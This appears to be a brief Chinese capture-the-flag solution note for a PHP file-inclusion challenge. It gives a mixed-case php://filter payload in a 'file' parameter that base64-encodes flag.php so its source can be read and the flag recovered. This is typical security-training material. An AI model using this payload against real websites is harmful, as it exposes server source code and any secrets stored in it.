方向:include
?file=pHp://FilTer/convert.base64-encode/resource=flag.php
伪协议读文件,得到base64编码后的flag.php的源码,找到flag